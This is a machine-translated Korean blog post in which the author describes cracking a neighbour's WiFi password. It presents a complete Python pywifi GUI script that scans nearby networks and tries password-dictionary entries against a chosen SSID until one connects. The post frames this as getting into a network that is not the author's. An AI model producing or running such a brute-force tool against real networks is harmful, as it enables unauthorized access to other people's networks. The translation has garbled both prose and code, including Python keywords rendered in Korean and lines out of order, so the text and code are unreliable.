지난 밤에 그물을 중지 한 후, 나는 작은 언니 옆에 와이파이 비밀번호를 해독 코드의 조각을 썼다

안드로이드 개발자는 이제 물 원의 친구를 만들었 원이 때때로 일부 안드로이드 수준의 고급 데이터를 업데이트 할 것입니다 기술적 인 문제, 일반적인 개발 및 진행으로 토론에 오신 것을 환영합니다! (UI는 수석 엔지니어, 개발 엔지니어의 안드로이드 바닥, 안드로이드 건축가, 네이티브 및 하이브리드 최적화 성능 최적화, 떨림 전문화를 포함), 기술 거물급 가입 할, 더 큰 가능한 물 문제를 해결하기 위해 더 많은 권리 원!

지난 밤, 그녀의 집 네트워크로 할 수 있습니다 목적으로, NET STOP 농업용 코드? 다음 날이 오기에 전화 수리 네트워크, 너무 늦게 말했다 ...

와이파이 신호가 갑자기 나를 성공하지 않고, 마스터 키를 사용하여, 우선, 악을 이동 그물을 문질러 수있는 방법은 없습니다 볼 수 있습니다 전체 그리드 와우의 자매 종이, 옆에 문을 발견 ~~~

V2-d493b465346a3492d0e883eb779f224b_720w.jpeg

난 단지, 오,이 작은 기능을 실행하기 위해 암호 사전을 사용하는 경우에만 수행 할 수 파이썬으로 확인하고 검색 할 수 있습니다, 난 그냥 수요를 충족하기 위해 pywifi이 구성 요소를 발견했다.

내 작업 것을 기록하는 과정에서 살펴 보자.

V2-fa6558d8284c62d6eb3889d05aee1284_720w.jpeg

사고

연결에 성공 때까지 분리에 실패 할 경우 와이파이 지정된 이름, 우리는 그들이 수행하려고하는 얻기 위해 비밀번호를 재활용합니다.

필요한 타사 라이브러리 (다운로드하여 자신의 좋은을 설치하시기 바랍니다) 즉, 가져 오기, pywifi하여 네트워크 인터페이스를 호출하는 테스트를하기 위해, 루프는 연결 암호 시도가 읽습니다. 여기 만은 무선 랜에 암호 파일의 경로 이름을 변경해야합니다.

환경 준비

  • python2.7

  • pywifi 모듈

  • 사전

가져 오기 모듈

pywifi 가져 오기 *에서

준비 사전

와이파이 약한 암호의 TOP10 중 랜덤. 라인 만 암호 설정, 올바른 암호를 찾을 때까지 스크립트 코드의 각 라인을 읽고 설정이 포함되어 있습니다.

V2-ffa19701e960485f06339bc310b71dd3_720w.png

전체 코드

# :. 8 UTF-코딩 

Tkinter를 * 가져 오기에서 
TTK Tkinter를 가져 오기에서   
가져 오기 pywifi 
pywifi에서 가져 오기 const를 
가져 오기 시간 
가져 오기 tkinter.filedialog 
가져 오기 tkinter.messagebox의 

클래스 MY_GUI () 
  는 def __init __ (자체, init_window_name) : 
    self.init_window_name = init_window_name 
    
    # 비밀번호 파일 경로 
    self.get_value StringVar = () 
    
    # GET 와이파이 계정 균열을 
    self.get_wifi_value StringVar = () 
    
    # GET 무선 랜 암호 
    self.get_wifimm_value = StringVar () 
    
    self.wifi = pywifi.PyWiFi () # 크롤링 네트워크 인터페이스 
    self.iface = self.wifi.interfaces () [0] #는 제 1 무선 LAN의 페치 
    # 테스트 링크 모든 링크 해제 () self.iface.disconnect 
    time.sleep를 (1) # 1초 슬립
    시험 # 여부 카드 오프 상태
    어설 션 self.iface.status ()에서 \ 
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 
  
  DEF __str __ (자기) 
    창 '(WIFI % S % S)'% (self.wifi, self.iface.name () ) 
    
  #设置窗口
  DEF set_init_window (자기) 
    self.init_window_name.title ( "WIFI破解工具") 
    self.init_window_name.geometry ( '+ 500 + 200') 
    
    labelframe = LabelFrame (폭 = 400, 높이 = 200 텍스트 = "配置") 
    labelframe.grid (열 = 0, 로우 = 0 padx = 10, 10 = pady) 
    
    self.search = 버튼 (labelframe 텍스트 ="搜索附近무선 "명령 = self.scans_wifi_list) .grid (열 = 0, 로우 = 0) 
    
    self.pojie = 버튼 (labelframe 텍스트 = "开始破解"명령 = self.readPassWord) .grid (= 컬럼 1 행 = 0) 
    
    self.label = 라벨 (labelframe 텍스트 = "디렉토리 경로 :. ") 그리드 (열 = 0, 행 = 1)
     
    self.path = 입력 (labelframe 폭 = 12 =하면 textVariable self.get_value) .grid (열 = 1 행 = 1) 
    
    self.file = 버튼 (labelframe 텍스트 = "添加密码文件目录"명령 = self.add_mm_file) .grid (= 컬럼 2, 행 = 1) 
    
    self.wifi_text = 라벨 (labelframe 텍스트 = "무선账号".) 격자 (열 = 0, 로우 = 2) 
    
    self.wifi_input = 입력 (labelframe 폭 = 12 =하면 textVariable self.get_wifi_value) .grid (= 컬럼 1 행 = 2) 
    
    self.wifi_mm_text = 라벨 (labelframe 텍스트 = "무선密码"). 그리드 (= 컬럼 2, 행 = 2) 
    
    self.wifi_mm_input = 입력 (labelframe 폭 = 10 =하면 textVariable self.get_wifimm_value) .grid (= 열 3 행 = 2 스티커 = W) 
    
    self.wifi_labelframe = LabelFrame (텍스트 = "무선列表")
    self.wifi_labelframe.grid (열 = 0, 로우 = 3 = 4 columnspan 끈적 = NSEW) 
    
    
    #定义树形结构与滚动条
    self.wifi_tree = ttk.Treeview (self.wifi_labelframe 보여 = "제목", 열 = ( "A", "B", "C", "D"))     
    self.vbar = ttk.Scrollbar (self.wifi_labelframe 오리엔트 = VERTICAL 명령 = self.wifi_tree.yview)        
    self.wifi_tree.configure (= yscrollcommand self.vbar.set) 
    
    #表格的标题
    self.wifi_tree.column ( "A", 폭 = 50, 앵커 = "센터") 
    self.wifi_tree.column ( "B", 폭 = 100, 앵커 = "센터") 
    self.wifi_tree.column ( "C", 폭 = 100, 앵커 = "센터") 
    self.wifi_tree.column ( "D", 폭 = 100, 앵커 = "센터") 
         
    self.wifi_tree.heading ( "A"텍스트 = "WiFiID") 
    self.wifi_tree.heading ( "B"텍스트 = "SSID") 
    self.wifi_tree.heading ("C "텍스트 = "BSSID") 
    self.wifi_tree.heading ( "D"텍스트 = "신호") 
        
    self.wifi_tree.grid (= 4 행, 열 = 0,끈적 = NSEW) 
    self.wifi_tree.bind ( "<더블-1>", self.onDBClick)
    self.vbar.grid (= 4 행, 열 = 1은 NS = 점착..) 
    
  # 검색 무선 
  #cmd / K C : \ Python27 \ python.exe를 "$ (FULL_CURRENT_PATH)의"PAUSE 및 끝내기 및 
  DEF의 scans_wifi_list (자기) # 스캔 목록 주변 무선 
    # 스캔 시작 
    인쇄 ( "^ _ ^ ... 주사 무선 랜의 시작 부분") 
    self.iface.scan () 
    time.sleep가 (15) 
    # 몇 초 후 검사 결과를 획득 
    scanres = self.iface.scan_results () 
    # 통계가 뜨거운 번호 근처에서 발견 된 
    nums = 렌 (scanres) 
    인쇄 ( "번호 %가 S"% (nums)) 
    #Print ( "| %의 S | S의 % | %의 S | S는 %"% ( "WIFIID ","SSID ","BSSID ","신호 ")) 
    # 실제 데이터 
    self.show_scans_wifi_list (scanres) 
    복귀 scanres
    인덱스, 열거 (scans_res)에 wifi_info :
   
  #은 와이파이의 목록을 표시합니다
  데프 show_scans_wifi_list (자기, scans_res) : 
            # 인쇄 ( "% - * s의 | %의 | % *의 | % * s의 \ n"% (20, 인덱스, wifi_info.ssid, wifi_info.bssid ,, wifi_info.signal)) 
      self.wifi_tree.insert ( "", "단부", 값 = (+ 1 인덱스, wifi_info.ssid, wifi_info.bssid) wifi_info.signal) 
      #print ( "| % S | % S | % S | S % \ N "% (인덱스 wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) 
  
  #添加密码文件目录
  DEF add_mm_file (자기) 
    self.filename tkinter.filedialog.askopenfilename = () 
    self.get_value.set (self.filename ) 
  
  #Treeview绑定事件
  DEF onDBClick (자기 이벤트) 
    self.sels event.widget.selection = () 
    self.get_wifi_value.set (self.wifi_tree.item (self.sels '값') [1])
    #print (self.wifi_tree.item (self.sels, "값") "를 클릭"[1]) 
  
  #读取密码字典,进行匹配
  데프 readPassWord (자기) :get_wifissid) 
          #Print ( "반환 값 : %의 \ n"% ( self.bool1))
    self.getFilePath self.get_value.get = () 
    #print ( "文件路径% S \ n"% (self.getFilePath)) 
    self.get_wifissid self.get_wifi_value.get = () 
    #print ( "SSID % S \ N "% (self.get_wifissid)) 
    self.pwdfilehander = 개방 (self.getFilePath,"R ", 오류 ="무시 ") 
    진정한 동안 : 
        시도 : 
          self.pwdStr = self.pwdfilehander.readline () 
          (#print를"密码: % s에 "% (self.pwdStr)) 
          하지 않을 경우 self.pwdStr : 
            휴식 
          self.bool1 = self.connect (self.pwdStr, self.get_wifissid) 
          의 경우 self.bool1 : 
            # 인쇄 ("密码正确: "+ pwdStr 
            # 입술 = "密码% S正确\ n"의 self.pwdStr %;
            self.res = "=== === 와이파이 올바른 이름 : % s의 암호가 일치 %의"% (self.get_wifissid, self.pwdStr) 
            self.get_wifimm_value.set (self.pwdStr) 
            tkinter.messagebox.showinfo ( ' 팁 ','성공 휴식! ') 
            인쇄 (self.res)은 
            BREAK 
          다음 다른 
            # 인쇄 ( "암호 :"+ self.pwdStr + "오류") 
            self.res = "오류 - - 와이파이 이름을 : %에 일치하는 암호 : % S "% (self.get_wifissid, self.pwdStr) 
            인쇄 (self.res) 
          SLEEP (3) 
        : 제외 
          (가) 계속 
  
  와이파이 및 암호 일치 # 
  DEF 연결 (자체, pwd_Str, wifi_ssid을) : 
    # 생성 와이파이 링크 파일 
    self.profile = pywifi.Profile () 
    self.profile.SSID = wifi_ssid #wifi 名称
    self.profile.auth = const.AUTH_ALG_OPEN NIC # 오픈 
    self.profile.akm.append (const.AKM_TYPE_WPA2PSK) #wifi 암호화 알고리즘 
    self.profile.cipher = # const.CIPHER_TYPE_CCMP 암호화 부 
    self.profile.key = pwd_Str # 1 비밀 
    self.iface.remove_all_network_profiles () # 모든 파일을 무선 랜 삭제 
    self.tmp_profile = self.iface.add_network_profile (self.profile) # 세트 새로운 링크 파일 
    self.iface.connect (self.tmp_profile) # 링크 
    (time.sleep . 5) 
    self.iface.status는 () == const.IFACE_CONNECTED는 경우 # 결정 여부 연결 
      ISOK = TRUE    
    다른 : 
      ISOK = FALSE  
    self.iface.disconnect () #의 오프 
    시간 .sleep을. (1) 
    상태로 오프 # 검사
    써트에 self.iface.status () \ 
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 
    창 ISOK 
    
DEF) (gui_start :
  init_window = Tk의 () 
  UI = MY_GUI (init_window) 
  인쇄 (UI) 
  ui.set_init_window () 
  # ui.scans_wifi_list () 
  
  (init_window.mainloop) 
  
gui_start ()

결과

실행 결과는 조작에 따라, 우리가 실행을 시작할 수 있습니다 GUI,도에 표시됩니다.

v2-13940d8689d626dd12024ee9045beb41_720w.png

다른 의견이 의견을 환영있다. + 엄지 손가락의 관심, 개인 편지의 답장을 내 '정보'캔에 반지로 : 길을 반지로, 토론 질문 메시지를 남겨주세요.


추천

출처blog.51cto.com/14557669/2483926